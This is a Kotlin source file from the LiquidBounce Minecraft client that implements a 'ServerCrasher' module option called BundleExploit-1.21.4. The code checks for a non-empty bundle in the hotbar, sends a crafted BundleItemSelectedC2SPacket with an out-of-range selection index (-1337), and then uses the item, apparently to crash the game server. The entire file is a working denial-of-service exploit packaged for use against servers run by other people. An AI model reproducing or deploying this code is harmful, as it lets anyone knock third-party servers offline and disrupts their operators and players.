/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2025 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 *
 */

package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.nesting.Choice
import net.ccbluex.liquidbounce.config.types.nesting.ChoiceConfigurable
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.client.chat
import net.ccbluex.liquidbounce.utils.client.markAsError
import net.ccbluex.liquidbounce.utils.inventory.HotbarItemSlot
import net.ccbluex.liquidbounce.utils.inventory.interactItem
import net.ccbluex.liquidbounce.utils.item.isBundle
import net.minecraft.component.DataComponentTypes
import net.minecraft.network.packet.c2s.play.BundleItemSelectedC2SPacket
import org.apache.commons.lang3.math.Fraction

/**
 * Bundle Exploit
 *
 * Requested by https://github.com/CCBlueX/LiquidBounce/issues/6103
 * PoC by https://github.com/PartialEq
 * PR by https://github.com/CaptainBoggle
 *
 */
object Bundle1214Exploit : Choice("BundleExploit-1.21.4") {

    override val parent: ChoiceConfigurable<Choice>
        get() = ModuleServerCrasher.exploitChoices

    override fun enable() {
        val slot = HotbarItemSlot(player.inventory.selectedSlot)
        val itemStack = slot.itemStack
        if (!itemStack.isBundle ||
            itemStack.get(DataComponentTypes.BUNDLE_CONTENTS)?.occupancy?.equals(Fraction.ZERO) == true) {
            chat(markAsError(ModuleServerCrasher.message("bundleExploit.notBundle")))
            ModuleServerCrasher.enabled = false
            return
        }

        val slotIdx = slot.getIdForServerWithCurrentScreen()
            ?: 36
        val selected = -1337 // anything below -1 will work
        val packet = BundleItemSelectedC2SPacket(slotIdx, selected)
        network.sendPacket(packet)

        interactItem(hand = slot.useHand)
        ModuleServerCrasher.enabled = false
    }

}
